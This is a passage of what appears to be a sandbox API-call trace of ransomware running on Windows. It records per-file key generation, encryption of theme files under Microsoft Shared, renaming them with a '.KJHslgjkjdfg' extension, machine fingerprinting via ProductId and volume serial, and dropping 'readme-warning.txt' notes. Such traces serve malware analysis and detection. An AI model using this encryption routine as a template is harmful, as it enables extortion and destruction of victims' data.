(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.341] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.341] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0172.343] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.343] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.343] GetProcessHeap () returned 0x2ef0000 [0172.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.343] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.343] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.343] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.344] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.344] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.344] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.344] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.344] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.344] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.344] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.344] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.344] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x74e5, lpOverlapped=0x0) returned 1 [0172.345] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x74f0, dwBufLen=0x74f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x74f0) returned 1 [0172.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.346] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x74f0, lpOverlapped=0x0) returned 1 [0172.346] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x75c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.346] SetEndOfFile (hFile=0x114) returned 1 [0172.349] GetProcessHeap () returned 0x2ef0000 [0172.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.349] GetProcessHeap () returned 0x2ef0000 [0172.349] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.350] CloseHandle (hObject=0x114) returned 1 [0172.354] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.355] GetProcessHeap () returned 0x2ef0000 [0172.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.355] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.355] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.355] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.355] GetProcessHeap () returned 0x2ef0000 [0172.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.355] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.355] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.355] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.355] GetProcessHeap () returned 0x2ef0000 [0172.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.355] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.355] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.355] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.355] GetProcessHeap () returned 0x2ef0000 [0172.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.355] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.355] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.355] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.356] GetProcessHeap () returned 0x2ef0000 [0172.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.356] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.356] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.356] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.356] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.356] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.356] RegCloseKey (hKey=0x114) returned 0x0 [0172.356] GetProcessHeap () returned 0x2ef0000 [0172.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.356] GetProcessHeap () returned 0x2ef0000 [0172.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.356] GetProcessHeap () returned 0x2ef0000 [0172.356] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.356] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.356] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.356] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.356] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.357] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.357] GetProcessHeap () returned 0x2ef0000 [0172.357] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.357] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.357] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.357] GetProcessHeap () returned 0x2ef0000 [0172.357] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.357] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt") returned 83 [0172.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.358] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.359] CloseHandle (hObject=0x114) returned 1 [0172.359] GetProcessHeap () returned 0x2ef0000 [0172.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.359] GetProcessHeap () returned 0x2ef0000 [0172.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.359] GetProcessHeap () returned 0x2ef0000 [0172.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.359] GetProcessHeap () returned 0x2ef0000 [0172.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.359] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.360] GetProcessHeap () returned 0x2ef0000 [0172.360] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.360] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0172.360] GetProcessHeap () returned 0x2ef0000 [0172.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x90) returned 0x2f425d0 [0172.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.364] GetProcessHeap () returned 0x2ef0000 [0172.364] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.364] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.364] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0172.364] GetProcessHeap () returned 0x2ef0000 [0172.365] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x292) returned 0x2f3e278 [0172.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.365] GetProcessHeap () returned 0x2ef0000 [0172.365] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.365] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.365] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.365] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0172.368] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.368] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.368] GetProcessHeap () returned 0x2ef0000 [0172.368] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.368] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.368] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.368] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.368] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.368] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.368] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.369] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.369] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.369] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.369] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xba44, lpOverlapped=0x0) returned 1 [0172.370] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xba50, dwBufLen=0xba50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xba50) returned 1 [0172.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.371] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xba50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xba50, lpOverlapped=0x0) returned 1 [0172.371] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.371] SetEndOfFile (hFile=0x114) returned 1 [0172.375] GetProcessHeap () returned 0x2ef0000 [0172.375] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.375] GetProcessHeap () returned 0x2ef0000 [0172.375] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.kjhslgjkjdfg")) returned 1 [0172.376] CloseHandle (hObject=0x114) returned 1 [0172.376] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0172.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.376] GetProcessHeap () returned 0x2ef0000 [0172.376] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.376] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.376] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0172.378] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.378] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.378] GetProcessHeap () returned 0x2ef0000 [0172.378] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.378] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.378] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.378] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.379] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.379] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.379] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.379] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.379] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.379] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.379] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 